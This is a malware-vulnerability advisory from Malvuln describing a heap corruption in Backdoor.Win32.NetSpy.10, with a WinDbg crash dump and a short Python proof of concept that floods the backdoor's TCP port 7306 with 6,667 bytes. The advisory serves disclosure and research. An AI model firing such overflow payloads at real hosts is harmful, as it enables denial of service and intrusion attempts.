Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/e677149c35cbba118655d9b133da8827.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NetSpy.10 Vulnerability: Heap Corruption Description: The malware listens on TCP port 7306 and drops an executable named "SPYNOTIFY.EXE" under SysWOW64 dir. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption overwriting EDX and EAX registers. Type: PE32 MD5: e677149c35cbba118655d9b133da8827 Vuln ID: MVID-2021-0235 Dropped files: SPYNOTIFY.EXE ASLR: False DEP: False Safe SEH: True Disclosure: 06/01/2021 Memory Dump: (17a0.8ec): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=042a0e28 edx=61616161 esi=00000003 edi=00000003 eip=7720ed3c esp=02730028 ebp=027301b8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7720ed3c c21400 ret 14h 0:002> .ecxr eax=61616161 ebx=042a0a28 ecx=042a0e28 edx=61616161 esi=042a0e20 edi=042a0000 eip=771dfd18 esp=02730948 ebp=02730aa0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ntdll!RtlpFreeHeap+0x298: 771dfd18 8b00 mov eax,dword ptr [eax] ds:002b:61616161=???????? 0:002> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe FAULTING_IP: ntdll!RtlpFreeHeap+298 771dfd18 8b00 mov eax,dword ptr [eax] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 61616161 Attempt to read from address 61616161 PROCESS_NAME: Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 61616161 READ_ADDRESS: 61616161 FOLLOWUP_IP: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915 00404915 5e pop esi MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000008ec BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161 PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161 DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161 LAST_CONTROL_TRANSFER: from 771dfa0d to 771dfd18 STACK_TEXT: 02730aa0 771dfa0d 042a0a28 042a0a30 02730bc8 ntdll!RtlpFreeHeap+0x298 02730af4 00404915 042a0000 00000000 042a0a30 ntdll!RtlFreeHeap+0x7cd WARNING: Stack unwind information not available. Following frames may be wrong. 02730b0c 0040382a 042a0a30 00401977 042a0a30 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x4915 02730b14 00401977 042a0a30 042b0910 00403570 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x382a 02730b18 042a0a30 042b0910 00403570 0274ff80 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x1977 02730b1c 042b0910 00403570 0274ff80 042b0910 0x42a0a30 02730b20 00403570 0274ff80 042b0910 20393131 0x42b0910 02730b24 0274ff80 042b0910 20393131 65747962 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x3570 02730b28 042b0910 20393131 65747962 000a0d73 0x274ff80 0274ff80 761f8654 042b0910 761f8630 4ef3ea98 0x42b0910 0274ff94 77204a77 042b0910 a3721ebb 00000000 kernel32!BaseThreadInitThunk+0x24 0274ffdc 77204a47 ffffffff 77229eb8 00000000 ntdll!__RtlUserThreadStart+0x2f 0274ffec 00000000 00403570 042b0910 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~2s; .ecxr ; kb SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827 IMAGE_NAME: Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe DEBUG_FLR_IMAGE_TIMESTAMP: 35cfac97 FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161_c0000005_Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161_Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915 Followup: MachineOwner --------- 0:002> .exr -1 ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 61616161 Attempt to read from address 61616161 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=7306 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*6667 s.send(PAYLOAD) s.close() print("Backdoor.Win32.NetSpy.10 / Heap Corruption") print("MD5: e677149c35cbba118655d9b133da8827") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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